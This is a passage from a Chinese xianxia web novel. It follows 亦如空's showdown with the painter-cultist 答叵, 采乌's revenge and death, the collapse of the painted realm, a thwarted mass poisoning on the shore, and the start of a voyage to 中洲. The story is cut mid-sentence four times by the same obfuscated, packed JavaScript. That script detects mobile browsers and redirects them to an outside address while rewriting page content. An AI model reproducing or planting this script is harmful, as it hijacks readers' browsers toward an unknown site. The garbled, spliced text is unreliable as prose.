亦如空费解:“你怎敢将此等恶事说得如此堂而皇之。” 答叵仰脸痴笑着道:“敬告神灵,是你在画中亲手斩杀了他们,他们曾经都是活生生的人,我将他们的魂魄抽离,炼成墨灵,投入画中,你杀死击碎的,也是无辜之人的三魂七魄,我做的一切,何尝不是你的旨意……” 这卑劣的人,嘴里说着信仰他的神灵,实际却妄想着玩弄一切,甚至是他口口声声信奉的神。 “在我的画中秘境里,哪怕世间唯一的神明,是神是魔,也可以尽在我的掌控之中……”答叵满面通红,兴奋地几乎急喘起来,“天底下还有比这更快活的事情吗?” 饶是亦如空再冷静,也不得不感叹一声:“疯子。” “我是疯子吗?或许吧,我原本只是个将死的无用之人,是你给了我新生,我如今所做的一切,都是你的指引啊。” “你口中只有这些无稽之谈么?”亦如空已经快要失去耐心了,他发现答叵完全沉浸在自己设想的世界里,无法自拔。 答叵道恳切地看着亦如空:“我所言不假,你定是忘了,不……你一定要记起……” 说着,答叵盘腿坐起,手指在空中画出符文,随着他手指划过,丝丝缕缕的红线渐渐出现,接着缠绕、消失,待到红线抽丝剥茧褪去后,周围已换了一副场景。 那似乎是在某个宗派的后院中,屋外有弟子往来行走。屋内神案前,少年时的答叵伏在蒲团上,他似乎天生腿脚有疾,在那蒲团旁边,还放着一双拐杖。 他在神案前五体投地,跪拜祈求:“求应空神垂怜赐福,让我能够不囿于这小小庭院之中,能看遍这世间之景……若能脱离病榻,继承宗门,我愿意献上我的心、肝、灵魂、生命。” 那天夜里,答叵见到了仙人。 迷迷糊糊中,一个面目模糊的男人从应空的神龛中走出来,走到他的床边,看着卧床的自己。 那人身量修长,身着轻柔得看不出材质的暗色长袍,乌发如云,他居高临下看着缠绵病榻的少年,说了一句话。 他说:“有朝一日,你会有用的,便先治好你吧。” 修长的手指握住了少年细弱畸形的腿骨,霎那间,一阵难以言喻的温暖充斥全身,灵魂犹如出窍飞上云霄般畅快开阔。 那一刻,朦朦胧胧间,答叵看见了对方的眼睛,还有他额头上的花纹。 那绝不是世上凡夫俗子能拥有的眼睛,只用一眼,答叵就已知道,那种无法言说、甘愿为之去死的感觉是什么。 但是神仙没有让答叵死,反而让答叵活了过来。 那时他缠绵病榻久矣,人生正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我病中见到神明之前所求的,和之后所求的,已完全不同。”答叵道,“更何况,那外头大殿上的残躯,不过是我尚且留在尘世间的一点躯壳,是该被抛弃的蝉蜕,我的魂灵早就该脱离束缚,遨游在那画中仙境,大殿中其他人也是一样!” 亦如空摇了摇头,执着一件不可能之事,直到面目全非,委实可悲。 “纵使有神明救了你,但你后来所做的一切,都与那奇遇并无关系,只是你自己的选择,愚痴的选择。” 答叵道:“对,是我的选择,的确愚痴,而这选择并没有错,我终究还是见到了你,不久之后,你终究还是要杀死我。” 亦如空寒声道:“你未免想得太满,竟想我顺着你所想去做?” “我知道你在找什么,我可以帮你,”答叵急切道,“多年来我用尽一切势力去探访搜寻,已找出应空碎片的下落,旁人只以为我想去占有这一切,没有人知道,我只是想将它们献给我的神灵。” 亦如空道:“这算是你给我的交换?” 答叵道:“是,是,不,不是,应该说,是供奉,是我该献上的,忘尘椎、画骨神笔,都是你的,本就是你的。” 亦如空将其他都放在一旁,先问出那个他最在意的问题:“其他碎片现在何处?” 21.破灭 “它们在……” 答叵只说出几个字,突然浑身剧颤,面容扭曲,整个幻境也跟着摇晃动荡起来。 亦如空蹙眉,道:“怎么回事?” 答叵咬牙切齿道:“有人、有人破我功力……” 幻境中的金色莲花纷纷枯败,原本空旷的四壁开始向中心逼近聚拢。 亦如空眸色一沉:“速速收了幻境,或者告诉我如何破出。” 答叵道迅速伸手,红线在空中画出破境符,但还未完成,他的胳膊已掉落在地,紧跟着,两条腿也断裂开来,断口处,崩出连接的红线。 不过转眼之间,这个四肢健全的答叵,已变回大殿上那副人彘的样子。 亦如空看着空中那还未完成的符篆,试着催动灵力将之补全,却未能成功,那些红线随着主人失去行动能力,已跟着乱成一团。 答叵的身躯摔在地上,慌乱道:“用忘尘椎,若有破境水……” 那红色小瓷瓶中所装的,恐怕就是答叵所说的破境水。 亦如空闭上双眼,将全部念力集中于忘尘椎上,瓷瓶同忘尘椎一起飞至空中,忘尘椎尖刺撞向瓶身,瓷瓶粉碎,忘尘椎沾满其中水液,围着亦如空快速飞划一周。 破境水被忘尘椎蒸腾成一阵水雾,那带着水雾的金光环绕一周,将正在收拢的幻境拦腰破开。 答叵眼见亦如空掏出那个瓷瓶,已经咬牙怒骂起来:“果然是采乌这个小孽畜还不死心,竟偷偷……” 亦如空一把提起骂骂咧咧的答叵,跳出幻境破口。 遮眼的幻境溃散,神识回体,亦如空定睛一看,他已在大殿宝座十步左右。 不远处的白玉石座上,答叵的胸口,正插着那支画骨神笔。 浑身浴血的采乌正握着笔杆,那纤弱少女犹如从地狱血海中爬出来的修罗,满头发丝都被血液浸湿,粘在两腮,杏眼中恨意滔天,犹如鬼火。 采乌狠狠将笔杆再深入几分,咬牙道:“主人,真是抱歉,小鱼们都被我放走了,你的仙人图中,将要没有仙童侍奉了。” 大殿之下,确实已不见那些小童的身影,柳玉京和翘枝也不见了踪迹,而其他宾客俱已被割断咽喉,大部分尸身仍保持跪立,像一尊尊染血的诡异塑像。 “你们所有人,都该死。”采乌颤抖着说道。 “你这小孽畜,怎配伤我性命!”答叵痛喘一声,怒骂道,“早知道你不死心,你以为,这样便能奈何我?我纵使不要这身躯,只有一缕幽魂,也能让你永世逃脱不得,去我那幻境地狱里待上千载万载吧!” 答叵开始念咒,采乌身形一颤,对此显然极为惧怕,但她此刻似乎决心已定,并不退缩,只稳住身形,冷冷道:“那这个呢,这样东西,你也不怕吗?主人?” 丝丝缕缕的黑线从神笔中溢出,那细线细如发丝,密如蛛网,渐渐爬满答叵全身。 答叵念咒的声音骤止,惊怒道:“锁魂线?!” 他似乎瞬间明白过来,怒骂道:“冥树猷!这老匹夫,竟……” 采乌冷笑道:“主人,您作孽太多,想要您性命的人,似乎不少呢……想想也是,你夺了他的宝物,将他的女儿一家炼成墨灵,偏偏又要留着他的命,把他困在震岛为你专研取魂炼魂之术,最后有这么一天,好像也是情理之中的事。” 答叵又惊又怒,突然看向亦如空,求救道:“救我!帮我剔除这锁魂线,我将其他碎片的所在告诉你!” 亦如空飞身而上,逼近宝座,采乌一惊,拔出画骨神笔,退开两步。 此时那笔中的墨线,已尽数缠在了答叵残缺不全的身躯上。 采乌将神笔挡在身前,警惕地看着亦如空,道:“他在幻境中跟你说了什么?你不要信他,这恶人就该死,而且死后,魂魄就该被永生永世锁在这不人不鬼的残废身子里,什么升仙入画,让他做梦去吧!” 亦如空看了看石座上的答叵,又看了看满脸是血的采乌,嗓音平静道:“你和那震岛尸坊的冥老认识。” 采乌道:“没错,我们都是想向这答叵复仇的人,只是苦于我没有那个本事,而他又被幻阵所困,离不了震岛半步。这回多亏了你,将这锁魂线带进此地,这世上能藏着此物来这里,又不被答叵的千眼阵所察觉的,恐怕没有几个。” 这一遭所遇之事都有了答案,亦如空了然道:“原来如此。” 采乌继续道:“我不确定你能突破答叵十步内的护身幻境,于是将锁魂线偷走,藏在自己身上,我千怕万怕被他察觉,但没想到,你一来此,他的注意力便全在你身上,根本顾不上注意我的举动。” 她此刻将自己所谋划之事尽数讲出来,恐怕不是讲给亦如空听的,而是要叫答叵死个明白。 果然,她朝着答叵冷声道:“杀你确实不容易,从前我只要动一丝反抗的念头,你便能将我带入幻境,现实哪怕就一炷香的时间,但我的意识却要真真切切在里面待上百年,那种感觉,的确痛苦,所以我不敢再轻易尝试,只能小心翼翼,忍辱偷生,直到今日……你没有想到,最后会结果在我的手里吧?” 答叵阴着脸骂道:“孽畜,贱人……” 采乌听着他的骂声,却是开心地笑了,笑过之后,又看向亦如空:“你究竟是谁呢?难不成,真是答叵那神龛里的……” 她的话还未说完,突然浑身一震,表情僵在了脸上。 亦如空也是一惊,采乌垂首看去,她的胸口已被洞穿,墨色的血液瞬间涌出,同她满身赤红的血污混在一起。 答叵竟悄悄念出咒语,让红线在她身后幻化聚拢成利剑形状,毫无察觉地洞穿了她的胸膛。 歪在宝座上的答叵吐出一口鲜血,狞笑道:“孽畜,你有什么资格在我面前得意,纵然只剩一口气,我也能要了你的命!” 采乌瞬间被抽去力气,眼见将要软倒在地,她朝前伸出手,似乎想将手中的画骨神笔递给亦如空。 亦如空正要去接住她,忽见眼前人影一晃,竟是一直隐匿身形的柳玉京突然闪现。 柳玉京似乎潜藏蓄势已久,动作快如鬼魅,长臂一展,已将采乌握在手中的画骨神笔夺去。 拿到画骨神笔后,柳玉京立刻旋身飘远,落在远处,细长剔透的笔杆在手指间旋了一圈,得意道:“这就叫螳螂捕蝉黄雀在后,这神笔,是我柳玉京的了!” 亦如空眼神一凛,忘尘椎直冲柳玉京眉心而去,柳玉京将手一挥,扔出个带毛的小东西,向着忘尘椎的尖刺迎头抛去——那竟是翘枝。 见此情形,亦如空连忙收住神器攻势。 趁此时机,柳玉京再次隐去身形,冲向大殿门外,不见了踪影。 顾不上去追柳玉京,亦如空展臂接住翘枝,松鼠倒是还活着,只是似乎昏厥了。 再看向采乌,她还剩一口气,下半身已变回原形,成了墨色的鱼尾,正在血泊中无力摆动。 亦如空走近几步,俯身蹲在她身前。 采乌艰难地笑了笑,费力道:“能否拜托你,我死后,将我的妖丹击碎,我不想魂魄被答叵困在幻境里……” “哪怕他死之后,那些幻境也依旧能困住你?” “咳咳……”采乌被喉头涌出的血液呛咳几声,艰难道,“他在我身上下了诅咒,纵然他死了,那幻境也依然会缠着我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518315|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫我永受折磨……” 亦如空沉声道:“好,我答应你。” 采乌断续道:“我的尸体,便劳烦你……扔进海里……应空碎片的下落,在仙人图中……” 说完这些话,采乌咽下了最后一口气。 亦如空轻叹一声,站起身来。 忘尘椎刺向那具瘦小的尸体,剖出她的妖丹,那妖丹被一些极细的红线缠绕着,亦如空将其捏在手中,掌心用力,碾作齑粉。 做完这一切,他转头,看向还在苟延残喘的答叵。 答叵喘息片刻,恳求道:“求你,我这便把你赐予我的性命还给你,解了这墨线,让我去那升仙图中,我将碎片的所在告诉你……” 亦如空没有回应他,而是去看那高墙上的仙人图。 他不再理会答叵的叫喊,一路踩着被血液染红的地毯,走到壁画前。 画中祥云依旧,仙岛漂浮,其中的仙人们却不再徜徉游乐,也不再奏乐饮酒,而是纷纷面朝大殿,目光死死盯着殿中发生的一切。 这些画中仙人,似乎都是从前便已入画的。 那些座上客的灵魂,进入仙人图中了么?看来似乎并没有,也不知采乌做了什么,竟像是只要了他们的命,却并没有给他们灵魂入画的机会。 亦如空想了想,走到那壁画中的“应空神兽”面前。 神兽一直静立在那里,同样静静注视着外面的一切。 亦如空心道:既然活物只能移魂入画,那你的身躯里,又是谁的灵魂? 亦如空似有所感,用忘尘椎的尖刺划开自己的手掌,贴向壁画中的“神兽”。 他的血液似乎叫那画中神兽十分惧怕,鲜血接触的一瞬间,墨画扰动,那神兽的线条转眼变了一副样子,成了一只满口獠牙的妖怪,朝着墙外怒吼长啸。 亦如空见状,轻笑一声:“你就这般用这假物自欺欺人么?还是说,在你原本的计划里,你想让我也进入你这仙人图中,同你一起完成这可笑的‘位列仙班’?” 答叵没有反驳,也不再继续恳求亦如空,他似乎知道,一切已经破灭无望了。 神明要他的灵魂被困在残躯里,永不超生,这才是最后的神罚。而他别无他法,只能接受。 一片空旷的大殿上,污糟的血色中,唯有壁画前那个神明的身影,如此飘然出尘。 他比那仙人图里祥云上画的“仙人”,都要更像神仙。 恍惚间,答叵感觉自己又回到了年少时分的病榻上,那被病痛折磨的暗夜里,神明来渡他时的身影,和此刻碾碎他希望的样子,完全重合在一起。 “我不算失败,不算输了,毕竟我还是见到了你,哪怕我并没有成为神仙……”答叵遥望着亦如空的身影,喃喃着,咳出一口鲜血,突然喊道,“这里快要崩散了,快,碎片的线索,在壁画东南角,那个持扇的‘仙人’手中,他的扇面上,就是……” 话未说完,答叵睁着两眼,已吐着血咽了气。 大殿周围开始轰隆作响,壁画开始崩裂垮塌。 烟尘四起中,亦如空飞身抱起采乌的尸体,再急转身形,冲向壁画高墙的东南角。 那里果然画着一个手持折扇的“仙人”,画中世界似乎感受不到外界的扰动,画中人虽面朝大殿,面上却依旧平淡,手中的扇子仍在轻摇。 亦如空赶忙去看扇面上的文字—— “剥魂玉玺中洲藏,血字四张落西荒……” 那写着碎片所藏之地的扇面,开头竟只是含混的诗句。 一切都在摇晃,亦如空还没来得及看完后面的几行,整个大殿和壁画,都已在巨响中彻底崩塌。 22.燃尽 烟尘滚滚,楼倒梁塌。 幻境与真实皆已混淆,皆尽破灭。 答叵或许算到了应空会来,算到了自己会死,却不知这一切是如此这般发生。 红漆柱支撑的长廊在海面上摇晃摆动,像是受伤的的巨蛇在海水中挣扎游弋,灯笼摇落,艳红的火焰坠落在长廊海面上,烈烈燃烧起来。 飘摇的红焰里,亦如空踩着将倾的廊檐,将采乌的尸体抛入了海水之中。 红焰映亮海面,泛起无数反光的亮点,那是许多墨色的小鱼。 鱼群纷纷游来,裹挟着采乌的尸体,一起游向深海。 风声海浪犹如呜咽,在空旷的海面上回荡。 亦如空放眼望去,发现此刻已是真正的深夜,不再是幻境里错乱的时空,头顶天幕上,漏出星光点点。 他看见漆黑夜幕下,那些恢宏楼宇渐次崩塌,一切都将永远沉没在大海之中,再无踪迹。 震岛西岸,应空门人弟子正伏低身子,严阵以待。 林堂主带着手下弟兄,依照命令等在此处。 他们在等一个讯号——若是寅时三刻,忘尘椎还没有破空飞来,杀死海岸几艘大船边那些长林派弟子,那么他们就要上去,用坛中的毒酒、手中的刀剑,将那些人全部送上黄泉路。 副堂主凑在林堂主身旁,低声道:“明明忘尘椎已经丢了,此事我们已传书报告给门主,为什么却不让我们直接动手,还要等那已经丢失的忘尘椎?” 林堂主皱着他那两道浓眉,眼皮直跳:“门主的推演之术和幻境之术天下无双,自然比我们知道的多,其中玄机,他自有安排。” 说着,林堂主仰头看了看星光的位置,沉声道:“寅时三刻已到,是时候了。” 副堂主在旁边嘀咕:“我们真要这么做?不知为何,我今日总觉得,有不好的预感。” 林堂主道:“门主的命令,我等照做就是了,若是做不好,少不了苦头吃……走吧,给他们上酒。” 林堂主带着人,牵马扶车,将酒送往大船所在。 海岸边那些长林派弟子彻夜未眠,大多数都已下船来,在平缓广阔的沙地上点起篝火,聚在一起烤鱼饮酒,纵情欢乐。 往日里门规森严,不允许寻欢作乐,这回掌门带着他们来此升仙盛宴,只这一夜,允许他们尽情享乐。 是以压抑已久的众人,只道要珍惜这夜的每分每秒,他们划拳作乐,高歌起舞,全然不知,生死已在一线之间。 林堂主带人上前去,抱拳高声道:“长林派的诸位兄弟,我们门主办这升仙盛宴,虽然只有诸位的掌门能前去赴宴,但门主也不想怠慢了大家,是以让我送来这些美酒,让各位今夜只管通宵达旦,尽情享用!” 沙地上众人都欢呼起来,纷纷上来取酒。 一坛坛毒鸩在海岸边传递,火光映亮一张张笑脸,场面看来一片欢欣。 林堂主看着那些毒酒分发下去,眯起了眼睛。 “诸位尽情地喝,我们的好酒还多得是。” 众人正欢呼,就在这时,夜空之中突然传来一阵箭矢破空般的声响。 海岸边一片欢声嘈杂,照理说是听不见如此细微的声音的,可是,偏偏所有人都听见了。 因为伴随那声音同来的,还有一束炫目的金光,它自海上而来,飞速划破这黎明前的暗夜。 金光穿破海上潮湿的空气,仿佛带着水雾和火光,何等迅疾,仰望那金光的人,一时间还以为是有星陨从夜空划过。 但那绝不是星陨,那是……忘尘椎? 忘尘椎,竟来了? 林堂主面色一变,大喊:“应空门弟子,速速往后撤开!” 他以为这杀器将要来此海岸大开杀戒,赶忙叫人慌乱中往后撤离。 忘尘椎从天而降,像灵活无比的金鸟,在人群中迅速穿梭游走,将众人捧起的酒坛、举起的酒碗,皆尽粉碎。 这杀器气势汹汹而来,却并没有穿透任何一个人的胸膛或是颈项,那足以刺破世间一切屏障的锐器,竟只是来撞破一个个酒坛子。 众人愣在原地,不敢动弹,个个又惊又疑。 忽然有人丢了手里破裂的瓷片,指着大船的桅杆顶上,喊道:“快看那里!” 林堂主和众人一道循声望去,看见一个衣袂飘飘的人影,正立在那桅杆顶上,像一只轻飘的白色海鸟,海风拂动他的衣摆,似魅影惊鸿。 忘尘椎撞破最后一个酒壶,立刻转头向着那人影飞去。 那人伸出一只手,忘尘椎缠上他的手腕,接着敛了金光,隐在他袖中。 “什么人?!”不知是谁惊惧中喊了一声。 桅杆顶上那人道:“答叵已死,应空门已经覆灭,尔等自行散去,或是重修正道,由你们自己选择。” 他的声音像是清风吹来,落在众人耳边,叫每个人都能听清。 林堂主面色大变,惊道:“不可能!绝无可能,你……你究竟是什么人?!” 桅杆上的人只是居高临下遥看他一眼,并没有回答。 恰在这时候,有个手快已喝下毒酒的长林弟子,突然捂着肚子,口吐白沫,倒地抽搐,转眼丧命。 惶惶中的长林众人这才反应过来,惊怒后怕道:“原来这些酒里有剧毒!应空门这是场鸿门宴,竟想趁机想毒杀我们!” 众人怒火中烧,立刻拾起刀剑,与林堂主等应空门人对峙。 副堂主连忙道:“诸位先别冲动,那人诡异,事情蹊跷,容我们……” “酒里有毒是实打实的,你们有什么话说?!若是我们不设防喝下了毒酒,岂不全都命丧你手!” 原本一片欢欣的海岸边,顷刻剑拔弩张。 桅杆之上的亦如空不再多看,众人要厮杀争斗,已与他无关。 他足下轻点,真如海鸟凌空飞起,越过对峙中警惕仰望的众人,飘往震岛林中去了。 亦如空从檫木花细碎的婆娑花影中醒来,天光大亮,又是一个不错的天气。 他翻身而起,分花开叶,跃上高枝,从树顶向岛内遥望。 震岛尸坊的方向,原有的那片枯黄树林竟已消失了,取而代之的,是冲天而起的火光和烟雾。 亦如空正默默看着那烟雾,忽听见脚下传来争吵声。 他手上松了借力的树梢,脚步一动,轻盈落在低处的树枝上,一低头便看见了翘枝和冥老—— 一只松鼠,一个老得可怕的老头子,正在树下吵得不可开交。 翘枝怒道:“老东西,这里到处都是树,你砍哪棵不好,非要砍我师父睡觉的这一棵,是何道理?你就是心怀不轨,特意跟踪而来,想谋害我师父吧!” 冥老支着一把斧子,慢悠悠道:“这片林子都是我的,我想砍哪棵就砍哪棵。” 亦如空摇了摇头,旋身落地。 翘枝一见他,连忙道:“这老头子居心不良,师父小心。” 亦如空看看翘枝:“醒了?声音这般洪亮,没事了?” 翘枝讪讪道:“没事了,那蛇妖柳玉京不是好人,想悄悄夺宝,我本想出声提醒师父,但是我太没用,被他一捏就昏死过去……” “无事便好。”亦如空又看向冥老,问道,“你为何要砍这棵树?” 冥老道:“我想做两张牌位,剩下的木头,将来还可以拿来做船。” 亦如空抬手抚摸檫木的树干,这大树如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冥老道:“我本是中洲人,一切都是因为我手上有那支画骨神笔,身怀秘宝,便是罪过,我从中洲翻山越海,来此荒芜之地,改名换姓,避世而居,久不同家人联系,却没想到,答叵依然能找到她们,为了逼我交出神笔为他驱使,用我女儿女婿孙儿一家五口的性命相要挟,而且……在我交出宝物后,依旧杀了她们。” 亦如空沉吟片刻,道:“最开始,你是如何拥有那支笔的?” 冥老道:“是从我师父手中继承的,我们是个隐世的小门派,虽有神器在手,却从未让其张扬现世,毕竟世道险恶,势力强大的宗门还有许多,直到被答叵发现此事,开始穷追不舍,赶尽杀绝,我原以为逃到海外便可避开,谁承想,只是掉进了他的罗网之中……” 冥老说着,长叹一声。 亦如空拂开碑上的碎屑,道:“刻好了。” 冥老对着碑上的名字看了又看,沉默不语。 亦如空站起身来,道:“我该走了。” 冥老问他:“你准备去何处?” 亦如空道:“中洲。” “要去中洲,在海上少说也得航行几十日,没有可以远航的大船可不行,你有船出海吗?” 亦如空道:“我会找到的。” 冥老笑道:“你不必找了,有一个人在找你,他有船,可以供你出海。” 亦如空疑惑:“是谁?” 冥老也不直说,只是看看树林上方的日头,道:“这个时候,他恐怕已经在海岸礁石那里等你了。” 亦如空准备离开树林,前往海岸,在他临走之前,那檫木花竟像是落雨一般,金色的小花纷纷坠下,落了他一身。 冥老感叹:“古树有灵,原来它知道你护了它的性命。” 亦如空看着那阵金黄的花雨,伸手接住一簇花朵,将它藏进袖中。 23.海市蜃楼 亦如空到了礁石岸边,才发现那个在海岸边等着他的人,竟是那被赤虚妖蛇所害的何家公子何云迢。 何云迢似乎是雇来了不少帮忙的人,此刻那些人正被他指挥着,从马车上搬下许多大包裹,用小船陆续往不远处的大船上运送。 见到亦如空过来,何云迢双眼一亮,面溢喜色,立刻挥着两条胳臂向对方打招呼。 “仙师!仙人!” 翘枝疑惑道:“师父,这是谁?” 亦如空想了想:“萍水相逢的一个人。” 待到走得近了,何云迢才看清亦如空肩上有只目光伶俐、还会说话的松鼠,不禁一愣:“这是……妖怪?” 翘枝道:“对啊,我就是妖怪,他是我师父,怎么了?” 何云迢讷讷道:“仙师,它真是你的徒弟吗?妖怪怎么会叫仙人师父呢……” “我不是仙人,你不必这样叫我,”亦如空说着,又向着翘枝加了一句,“我应当也不算你的师父,任你这样叫,只是不计较你如何称呼我。” 翘枝耍赖:“我已经叫了这么久,师父你现在才反悔,已经来不及了。” 亦如空懒得争辩,只得由他去。 何云迢看着亦如空,深吸一口气,道:“那仙……不,那我该如何称呼你?” “亦如空。” “亦……” 何云迢还在默念这个名字,亦如空已看向他的身后:“那是你的船?” “哦,是,家父过往本就是做生意的,常往来海上运货,只是后来生意难做,也就停了,其他船只都变卖给了应空门,还剩这一艘大船,以备自用。” 何云迢盛情邀约,亦如空自然跟他上了船。 亦如空近来也坐过不少船,但还是头一次见到这般华丽的大船,船舱开阔明亮,木头都上着透亮的清漆,四处铺着软毯,案上摆放着鲜花,走进其中,不像是上了一艘船,仿佛是走进陆地上某个富家大宅里的花厅。 何云迢换了簇新的衣裳,脸色好了很多,说话也不再混沌,他带着亦如空略略看过,客气道:“我已雇人将船上细细打扫装点过,不知道仙师还满意否。” 虽然提醒过,但何云迢还是下意识这般称呼,亦如空纠正不过来,也就不再多管。 翘枝已满眼新奇地跳过去,这里摸摸那里看看,感叹道:“师父,你真厉害,在我不知道的时候,你竟认识了这么有钱的陶朱公。” 亦如空将那华丽的船舱内部看过一周,忽道:“我没有银钱付船费。” 何云迢赶忙道:“怎么能让仙师付钱呢,仙师为我解决了大麻烦,说是再生之恩也不为过,我将来如何报答都是应该的,遑论只是顺道带你们出海。” 亦如空道:“你带了这么多东西,可是要彻底离开东淤洲,不再回来了?” 何云迢叹息道:“此处已成伤心地,留下也是无用,那事发生后,我也早与外镇那些旧相识断了联系,若见了他们,被问起家事,只会徒增伤心,不如就此离去,反正家人尽殁,我已无牵无挂,干脆去云游四海。” 亦如空道:“你此去中洲,可有目的地?” 何云迢道:“仙师你呢?我可以将你们先送去地方。” 亦如空摇摇头:“我对中洲不甚了解,具体何处,尚无打算,只要能登上中洲地域便可。” 何云迢拿来地图,铺在厅中的木桌上,一边指给亦如空看,一边讲解道:“中洲是五洲中最大的一片大陆,陆地周边小国数百,宗门无数,小国之外,势力最大占地最广的,是神冲国,最大的宗门是奉神宗,王朝与宗门相依共存,其势力占了整个大陆的十之有八,去中洲,必然会去往神冲。” 那卷地图内容详尽,描画清晰,国别,都驿,乃至山川河流,都有名称标注。 “我想想……”何云迢看着地图思忖片刻,手指着图上一小块地方,道,“那我们便在东南岸的濮支国靠岸,此航线最短,这个时节南风正好,我们北上一路顺风而行,大约四十多天就能靠岸,等上岸之后,也是官道坦途,之后去往神冲国富庶之地,最是快捷。” 亦如空见他如数家珍,点头道:“你对路线了解,由你决定。” 说完,他又问道:“这样的地图你可还有,可否给我一份?” 何云迢道:“有的有的,这张图仙师若是想要,尽管拿着。” 大船离开海岸边牵引的驳船,起锚扬帆,乘着南风,驶向海上,一路向北而去。 航行时间长久,本应难熬,不过大船内部的确环境上好,床榻干净柔软,地方通透明亮,好歹让这趟旅程舒适不少。 亦如空正在何云迢为他精心准备的舱室中打坐。 过往他不需要像凡人修士那样修炼,他的身体里,天生蕴积着天地灵气,从前只需依照想法随性驱使。 如今灵力消散,虽有残余,但跟旧日比起来,实在微末,于是他只得开始同凡人修行者一样,开始打坐调息修炼。 不过这个方法的确行之有效,亦如空能感受到,体内原本滞涩的灵力气息,正在经脉中渐渐游走顺畅。 翘枝在旁边有样学样,不过总是不得要领。 亦如空运转完几个周天,见松鼠时而抓耳挠腮,时而昏昏欲睡,坐也打不好,于是道:“等到了陆地之后,我会为你炼制丹药,提升修为,你要尽快练出化形的能力,不然,以你现在这副弱小兽体,实在……” 虽然他没将话说完,但是翘枝还是知道他的意思,连忙爬起来,有模有样地拜谢道:“多谢师父!我一定勤加修炼,争取早日化形,再也不给师父拖后腿。” 亦如空点点头,仍盘膝而坐,教翘枝道:“脊直,肩张,注意凝神,将气息灌于丹田气海。” 翘枝依言照做,片刻后果然感觉妖丹微热,气息渐稳,不禁心中大喜,再次暗下感叹,当初死皮赖脸也要跟着亦如空,实在是个无比正确的决定。 练不多时,翘枝睁眼偷看亦如空,见他双眼微闭,手持定印,稳稳盘坐。 那张脸轮廓深刻,面目柔和,眉间灵蕴,有如白玉仙人像,实在是通身仙气灵气藏也藏不住。 一时间,翘枝内心不禁又是景仰,又是羡慕,也不知道自己何时才能提升境界,也不求有他一分神采,只求能练气化形,从此自由游走人间,再也不是这弱小微末之躯。 正出神间,听见亦如空提醒道:“专心。” 翘枝连忙收回视线,专心打坐。不消片刻,又走了神,想着想着,叹息起来。 亦如空睁开眼看他:“怎么?” 翘枝道:“对不起师父,我又分心了,其实也没什么,就是想起来之前的事……我原本还道应空门诚心信奉神明,是个好门派,谁知道竟是那般邪象,当日升仙宴上,柳玉京向我描述的那等血腥景象,实在骇人。” 亦如空默默听着,见翘枝沉默下来,忽道:“如今你心中,对那神明可有新的看法?” “当然不!”翘枝连忙道,“这跟应空神没有关系,都是那些人的问题,人心叵测,自作孽不可活。” 亦如空听在耳中,默默不语。 翘枝忽而想起什么,又道:“对了师父,那神笔,真就那般,被那蛇妖柳玉京给夺走了?那我们费力去那升仙宴,岂不是一无所获,倒给他做了嫁衣。” 亦如空眼睫微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530400|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,眸中似乎露出一丝笑色,悠悠道:“不,我会找到他,拿回那支笔的。” 翘枝见他断定,疑惑道:“可是天大地大,他可以去往任何一处躲藏起来,能去何处寻他?” 亦如空墨瞳闪着光亮,忽而轻轻一笑,道:“我自有办法。” 原来当日柳玉京趁乱夺走画骨神笔之时,亦如空向他掷出忘尘椎,虽因为顾及翘枝,忘尘椎并未刺中对方,但还有一样东西,亦如空却是成功地打在了对方身上。 而那样东西,柳玉京如何也摆脱不得。 听完亦如空简短的叙述,翘枝已是彻底目瞪口呆:“所以说,师父你是在那一刹那之间,朝那蛇妖身上打了一个咒印?” 亦如空眉目半敛,淡淡道:“不错,只要有这个咒印在,他就不会脱离我的掌控,我如今灵力受限,尚未完全恢复,只有一个大致的方向,知道他是往中洲去了,待我灵力再恢复一些,对咒印掌控更稳,便可驱使咒印,叫他寝食难安,只能回来求我。” 翘枝听完,已完全呆住了,良久方才道:“师父,那个……您要是有朝一日开宗立派,我们的门派,会走正道吗?” 亦如空道:“首先,我不会开宗立派,其次,为何这般问?” 翘枝讪讪地挠了挠脑袋,没敢说出真话,心里默念:不知道为什么,突然觉得一向仙气飘飘的师父有点可怕呢…… 航行十数日,顺风顺水,风平浪静。 何云迢颇有分寸,知道亦如空要安心修炼,从来不多作打扰,亦如空在这难得宁静的环境中专心修行,倒是打破了脉象中的一处滞涩,明显感觉灵力又有提升。 而且忘尘椎一直贴着他的皮肤散发微热,似乎原本的法身碎片,也在为他的修炼助力。 航行到第二十天,亦如空难得走出船舱,站在船舷上眺望风光。 